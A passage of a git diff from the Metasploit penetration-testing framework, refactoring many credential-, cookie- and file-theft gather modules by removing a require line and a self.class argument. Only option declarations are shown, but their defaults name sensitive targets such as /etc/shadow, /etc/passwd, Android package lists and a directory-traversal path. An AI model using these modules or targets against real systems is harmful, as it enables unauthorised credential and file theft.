'Specify the maximum time to exploit the sqli (in seconds)', 60]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/gather/android_browser_file_theft.rb b/modules/auxiliary/gather/android_browser_file_theft.rb index aca3bdc41b..288432783e 100644 --- a/modules/auxiliary/gather/android_browser_file_theft.rb +++ b/modules/auxiliary/gather/android_browser_file_theft.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/jsobfu' class MetasploitModule < Msf::Auxiliary @@ -45,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary 'Steals a default set of file URLs', true ]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb b/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb index 266575bff8..f36b0f82eb 100644 --- a/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb +++ b/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/jsobfu' class MetasploitModule < Msf::Auxiliary @@ -46,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary 'The cookie file (on older 2.x devices this is "webview.db")', 'webviewCookiesChromium.db' ]) - ], self.class) + ]) end def on_request_uri(cli, request) diff --git a/modules/auxiliary/gather/android_htmlfileprovider.rb b/modules/auxiliary/gather/android_htmlfileprovider.rb index 339a2f01b6..53a7d96aac 100644 --- a/modules/auxiliary/gather/android_htmlfileprovider.rb +++ b/modules/auxiliary/gather/android_htmlfileprovider.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('FILES', [ false, "The remote file(s) to steal", '/proc/version,/proc/self/status,/data/system/packages.list' ]) - ], self.class) + ]) end def on_request_uri(cli, request) diff --git a/modules/auxiliary/gather/android_object_tag_webview_uxss.rb b/modules/auxiliary/gather/android_object_tag_webview_uxss.rb index 3c3bce84f1..11407330df 100644 --- a/modules/auxiliary/gather/android_object_tag_webview_uxss.rb +++ b/modules/auxiliary/gather/android_object_tag_webview_uxss.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Auxiliary "A URL to inject into a script tag in the context of the target URLs.", '' ]) - ], self.class) + ]) end def on_request_uri(cli, request) diff --git a/modules/auxiliary/gather/android_stock_browser_uxss.rb b/modules/auxiliary/gather/android_stock_browser_uxss.rb index 4296dbb238..0f75f2a100 100644 --- a/modules/auxiliary/gather/android_stock_browser_uxss.rb +++ b/modules/auxiliary/gather/android_stock_browser_uxss.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML @@ -72,7 +70,7 @@ class MetasploitModule < Msf::Auxiliary "When BYPASS_XFO is enabled, this closes the popup window after exfiltration.", true ]) - ], self.class) + ]) end def on_request_uri(cli, request) diff --git a/modules/auxiliary/gather/apache_rave_creds.rb b/modules/auxiliary/gather/apache_rave_creds.rb index 320bc12a25..e83d84435e 100644 --- a/modules/auxiliary/gather/apache_rave_creds.rb +++ b/modules/auxiliary/gather/apache_rave_creds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'Path to Apache Rave Portal', '/portal']), OptString.new('USERNAME', [ false, 'Apache Rave Username' ]), OptString.new('PASSWORD', [ false, 'Apache Rave Password' ]), - ], self.class) + ]) end def login(username, password) diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb index b754e67c55..585eaa2f65 100644 --- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb +++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/service_manager' class MetasploitModule < Msf::Auxiliary @@ -43,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary 'The comma-separated list of domains to steal non-HTTPOnly cookies from.', 'apple.com,example.com' ]) - ], self.class ) + ]) end diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 05dd9a693a..93943d482e 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/format/webarchive' require 'uri' diff --git a/modules/auxiliary/gather/avtech744_dvr_accounts.rb b/modules/auxiliary/gather/avtech744_dvr_accounts.rb index 632127d02d..d0f2a9a175 100644 --- a/modules/auxiliary/gather/avtech744_dvr_accounts.rb +++ b/modules/auxiliary/gather/avtech744_dvr_accounts.rb @@ -1,5 +1,3 @@ -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/gather/browser_info.rb b/modules/auxiliary/gather/browser_info.rb index 3279767ded..35dbb77416 100644 --- a/modules/auxiliary/gather/browser_info.rb +++ b/modules/auxiliary/gather/browser_info.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/auxiliary/gather/censys_search.rb b/modules/auxiliary/gather/censys_search.rb index a60ec45240..33b45750bf 100644 --- a/modules/auxiliary/gather/censys_search.rb +++ b/modules/auxiliary/gather/censys_search.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/http' class MetasploitModule < Msf::Auxiliary @@ -32,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('CENSYS_SECRET', [true, 'The Censys API SECRET']), OptString.new('CENSYS_DORK', [true, 'The Censys Search Dork']), OptEnum.new('CENSYS_SEARCHTYPE', [true, 'The Censys Search Type', 'certificates', ['certificates', 'ipv4', 'websites']]) - ], self.class) + ]) end def basic_auth_header(username, password) diff --git a/modules/auxiliary/gather/checkpoint_hostname.rb b/modules/auxiliary/gather/checkpoint_hostname.rb index 84d4cf9800..3155b4be7b 100644 --- a/modules/auxiliary/gather/checkpoint_hostname.rb +++ b/modules/auxiliary/gather/checkpoint_hostname.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(264), - ], self.class) + ]) end def autofilter diff --git a/modules/auxiliary/gather/citrix_published_applications.rb b/modules/auxiliary/gather/citrix_published_applications.rb index 8754bd5bab..2f7c47a2eb 100644 --- a/modules/auxiliary/gather/citrix_published_applications.rb +++ b/modules/auxiliary/gather/citrix_published_applications.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(1604), - ], self.class) + ]) end def autofilter diff --git a/modules/auxiliary/gather/citrix_published_bruteforce.rb b/modules/auxiliary/gather/citrix_published_bruteforce.rb index b04997750e..39e0ca64e6 100644 --- a/modules/auxiliary/gather/citrix_published_bruteforce.rb +++ b/modules/auxiliary/gather/citrix_published_bruteforce.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(1604), - ], self.class) + ]) end def autofilter diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index ba70df4668..f981a46419 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(80), OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/']) - ], self.class) + ]) end def fingerprint(response) diff --git a/modules/auxiliary/gather/corpwatch_lookup_id.rb b/modules/auxiliary/gather/corpwatch_lookup_id.rb index 30cf6a6c26..0e8b3d4017 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_id.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_id.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Auxiliary @@ -35,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('GET_CHILDREN', [false, "Get children companies", true]), OptInt.new('CHILD_LIMIT', [false, "Set limit to how many children we can get", 5]), OptBool.new('GET_HISTORY', [false, "Get company history", false]) - ], self.class) + ]) deregister_options('RHOST', 'RPORT', 'VHOST', 'Proxies') end diff --git a/modules/auxiliary/gather/corpwatch_lookup_name.rb b/modules/auxiliary/gather/corpwatch_lookup_name.rb index 6ca6ae70c6..cc3dcdc2ec 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_name.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_name.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Auxiliary @@ -34,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('YEAR', [ false, "Year to look up", Time.now.year-1]), OptString.new('LIMIT', [ true, "Limit the number of results returned", "5"]), OptString.new('CORPWATCH_APIKEY', [ false, "Use this API key when getting the data", ""]), - ], self.class) + ]) deregister_options('RHOST', 'RPORT', 'Proxies', 'VHOST') end diff --git a/modules/auxiliary/gather/d20pass.rb b/modules/auxiliary/gather/d20pass.rb index 7c4cdbd11b..9ba104df27 100644 --- a/modules/auxiliary/gather/d20pass.rb +++ b/modules/auxiliary/gather/d20pass.rb @@ -8,7 +8,6 @@ # parses the usernames and passwords from it. ## -require 'msf/core' require 'rex/ui/text/shell' require 'rex/proto/tftp' @@ -40,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(69), Opt::RHOST('192.168.255.1'), OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"]) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/gather/darkcomet_filedownloader.rb b/modules/auxiliary/gather/darkcomet_filedownloader.rb index 47e7936f88..2fc64c354d 100644 --- a/modules/auxiliary/gather/darkcomet_filedownloader.rb +++ b/modules/auxiliary/gather/darkcomet_filedownloader.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report @@ -36,14 +34,14 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(1604), Opt::RHOST('0.0.0.0'), - OptString.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']), + OptAddressLocal.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']), OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']), OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]), OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']), OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]), OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1]) - ], self.class) + ]) end # Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb index 946887d7fd..85933a7024 100644 --- a/modules/auxiliary/gather/doliwamp_traversal_creds.rb +++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']), OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/']) - ], self.class) + ]) end # diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index ce5a7e2a87..bc0865375d 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']), OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]) - ], self.class) + ]) end diff --git a/modules/auxiliary/gather/eaton_nsm_creds.rb b/modules/auxiliary/gather/eaton_nsm_creds.rb index dc8da4fd1c..cca4e765d3 100644 --- a/modules/auxiliary/gather/eaton_nsm_creds.rb +++ b/modules/auxiliary/gather/eaton_nsm_creds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(4679) - ], self.class) + ]) end def execute_php_code(code, opts = {}) diff --git a/modules/auxiliary/gather/emc_cta_xxe.rb b/modules/auxiliary/gather/emc_cta_xxe.rb index 9b0736f29e..2d3d27db88 100644 --- a/modules/auxiliary/gather/emc_cta_xxe.rb +++ b/modules/auxiliary/gather/emc_cta_xxe.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('SSLVersion', [true, 'SSL version', 'TLS1']), OptString.new('TARGETURI', [ true, "Base directory path", '/']), OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/gather/enum_dns.rb b/modules/auxiliary/gather/enum_dns.rb index 40f6cd2ea4..0ce86494a9 100644 --- a/modules/auxiliary/gather/enum_dns.rb +++ b/modules/auxiliary/gather/enum_dns.rb @@ -4,7 +4,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/dns/resolver' class MetasploitModule < Msf::Auxiliary @@ -47,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary OptAddressRange.new('IPRANGE', [false, "The target address range or CIDR identifier"]), OptInt.new('THREADS', [false, 'Threads for ENUM_BRT', 1]), OptPath.new('WORDLIST', [false, 'Wordlist of subdomains', ::File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt')]) - ], self.class) + ]) register_advanced_options( [ @@ -55,7 +54,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('RETRY', [false, 'Number of times to try to resolve a record if no response is received', 2]), OptInt.new('RETRY_INTERVAL', [false, 'Number of seconds to wait before doing a retry', 2]), OptBool.new('TCP_DNS', [false, 'Run queries over TCP', false]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/gather/eventlog_cred_disclosure.rb b/modules/auxiliary/gather/eventlog_cred_disclosure.rb index f70424fb4a..7f244a0343 100644 --- a/modules/auxiliary/gather/eventlog_cred_disclosure.rb +++ b/modules/auxiliary/gather/eventlog_cred_disclosure.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Auxiliary @@ -42,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8400), OptString.new('TARGETURI', [ true, 'Eventlog Analyzer application URI (should be /event for version 7)', '/']), - ], self.class) + ]) end diff --git a/modules/auxiliary/gather/external_ip.rb b/modules/auxiliary/gather/external_ip.rb index 50ca2d8c1b..66432a8488 100644 --- a/modules/auxiliary/gather/external_ip.rb +++ b/modules/auxiliary/gather/external_ip.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RHOST('ifconfig.me'), OptBool.new('REPORT_HOST', [false, 'Add the found IP to the database', false]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb index ea8870656f..ac54a6352b 100644 --- a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb +++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('RPORT', [true, 'The BigIP service port to listen on', 443]), OptString.new('TARGETURI', [true, 'The URI path to test', '/']), OptInt.new('REQUESTS', [true, 'The number of requests to send', 10]) - ], self.class) + ]) end def change_endianness(value, size = 4) diff --git a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb index ea0b86d9e3..8786fbd948 100644 --- a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb +++ b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary 'Comma-separated list of files to steal', '/etc/passwd, /etc/shadow' ]) - ], self.class) + ]) register_advanced_options([ OptInt.new('PER_FILE_SLEEP', [ @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary 'Milliseconds to wait before attempting to read the frame containing each file', 250 ]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb b/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb index b81cb81a35..466b2534b1 100644 --- a/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb +++ b/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'uri' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb index f475e494fa..d09c3e281d 100644 --- a/modules/auxiliary/gather/hp_enum_perfd.rb +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(5227), OptString.new("COMMANDS", [true, "Command(s) to execute (one or more of #{commands_help})", commands_help]) - ], self.class) + ]) end def commands diff --git a/modules/auxiliary/gather/hp_snac_domain_creds.rb b/modules/auxiliary/gather/hp_snac_domain_creds.rb index c84a76db76..ac2fd50732 100644 --- a/modules/auxiliary/gather/hp_snac_domain_creds.rb +++ b/modules/auxiliary/gather/hp_snac_domain_creds.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Auxiliary @@ -42,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(443) - ], self.class) + ]) end def get_domain_info(session) diff --git a/modules/auxiliary/gather/huawei_wifi_info.rb b/modules/auxiliary/gather/huawei_wifi_info.rb index a16713b7e2..5d0e69499d 100644 --- a/modules/auxiliary/gather/huawei_wifi_info.rb +++ b/modules/auxiliary/gather/huawei_wifi_info.rb @@ -4,8 +4,6 @@ ## require 'base64' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -77,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RHOST('mobilewifi.home') - ], self.class) + ]) end diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index 549afb8a64..297f8fd22e 100644 --- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'enumerable' class MetasploitModule < Msf::Auxiliary @@ -45,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]), OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']), OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during bruteforce', 2]) - ], self.class) + ]) register_advanced_options( [ @@ -54,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('SUFFIX', [ false, 'Defines set post for each quess (e.g. _adm)', '']), OptInt.new('TIMING', [ true, 'Set pause between requests', 0]), OptInt.new('Threads', [ true, 'Number of test threads', 10]) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/gather/ibm_sametime_room_brute.rb b/modules/auxiliary/gather/ibm_sametime_room_brute.rb index fcbe65400b..19b484db96 100644 --- a/modules/auxiliary/gather/ibm_sametime_room_brute.rb +++ b/modules/auxiliary/gather/ibm_sametime_room_brute.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'enumerable' class MetasploitModule < Msf::Auxiliary @@ -42,13 +41,13 @@ class MetasploitModule < Msf::Auxiliary OptString.new('OWNER', [ true, 'The owner to bruteforce meeting room names for', '']), OptPath.new('DICT', [ true, 'The path to the userinfo script' ]), OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/']) - ], self.class) + ]) register_advanced_options( [ OptInt.new('TIMING', [ true, 'Set pause between requests', 0]), OptInt.new('Threads', [ true, 'Number of test threads', 10]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb index 71d6ba2162..ff27225b76 100644 --- a/modules/auxiliary/gather/ibm_sametime_version.rb +++ b/modules/auxiliary/gather/ibm_sametime_version.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'uri' class MetasploitModule < Msf::Auxiliary @@ -91,12 +90,12 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('ShowVersions', [ true, "Display Version information from server", true]), OptBool.new('ShowConfig', [ true, "Display Config information from server", true]), OptBool.new('ShowAPIVersions', [ true, "Display API Version information from server", false]) - ], self.class) + ]) register_advanced_options( [ OptBool.new('StoreConfigs', [ true, "Store JSON configs to loot", true]) - ], self.class) + ]) end diff --git a/modules/auxiliary/gather/ie_sandbox_findfiles.rb b/modules/auxiliary/gather/ie_sandbox_findfiles.rb index ba2d23d868..c4199f4896 100644 --- a/modules/auxiliary/gather/ie_sandbox_findfiles.rb +++ b/modules/auxiliary/gather/ie_sandbox_findfiles.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]), OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]), - ], self.class) + ]) # no SSL deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT', 'URIPATH') diff --git a/modules/auxiliary/gather/ie_uxss_injection.rb b/modules/auxiliary/gather/ie_uxss_injection.rb index bee9d14c9e..f7781ce403 100644 --- a/modules/auxiliary/gather/ie_uxss_injection.rb +++ b/modules/auxiliary/gather/ie_uxss_injection.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TARGET_URI', [ true, 'The URL for the target iframe' ]), OptString.new('CUSTOMJS', [ false, 'Custom JavaScript' ]) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/gather/impersonate_ssl.rb b/modules/auxiliary/gather/impersonate_ssl.rb index a0440cf2fa..62c63d88b0 100644 --- a/modules/auxiliary/gather/impersonate_ssl.rb +++ b/modules/auxiliary/gather/impersonate_ssl.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -37,12 +35,12 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PRIVKEY_PASSWORD', [false, "Password for private key specified in PRIV_KEY (if applicable)", nil]), OptPath.new('CA_CERT', [false, "CA Public certificate", nil]), OptString.new('ADD_CN', [false, "Add CN to match spoofed site name (e.g. *.example.com)", nil]) - ], self.class) + ]) register_advanced_options( [ OptBool.new('AlterSerial', [false, "Alter the serial number slightly to avoid FireFox serial matching", true]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/gather/java_rmi_registry.rb b/modules/auxiliary/gather/java_rmi_registry.rb index 0a579c1d6f..9e840447db 100644 --- a/modules/auxiliary/gather/java_rmi_registry.rb +++ b/modules/auxiliary/gather/java_rmi_registry.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/java/serialization' class MetasploitModule < Msf::Auxiliary @@ -30,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(1099) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/gather/jenkins_cred_recovery.rb b/modules/auxiliary/gather/jenkins_cred_recovery.rb index fb4a08390d..5e5fc86ddf 100644 --- a/modules/auxiliary/gather/jenkins_cred_recovery.rb +++ b/modules/auxiliary/gather/jenkins_cred_recovery.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'json' class MetasploitModule < Msf::Auxiliary @@ -41,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']), OptString.new('JENKINSDOMAIN', [true, 'The domain where we want to extract credentials from', '_']) - ], self.class) + ]) end diff --git a/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb b/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb index 00984aac86..6e69b667e9 100644 --- a/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb +++ b/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']) - ], self.class) + ]) end def print_good(message='') diff --git a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb index 2e55add6f4..11d26ccb48 100644 --- a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb +++ b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']) - ], self.class) + ]) end def check diff --git a/modules/auxiliary/gather/joomla_weblinks_sqli.rb b/modules/auxiliary/gather/joomla_weblinks_sqli.rb index b6562e9a94..664816158e 100644 --- a/modules/auxiliary/gather/joomla_weblinks_sqli.rb +++ b/modules/auxiliary/gather/joomla_weblinks_sqli.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [ true, "Base 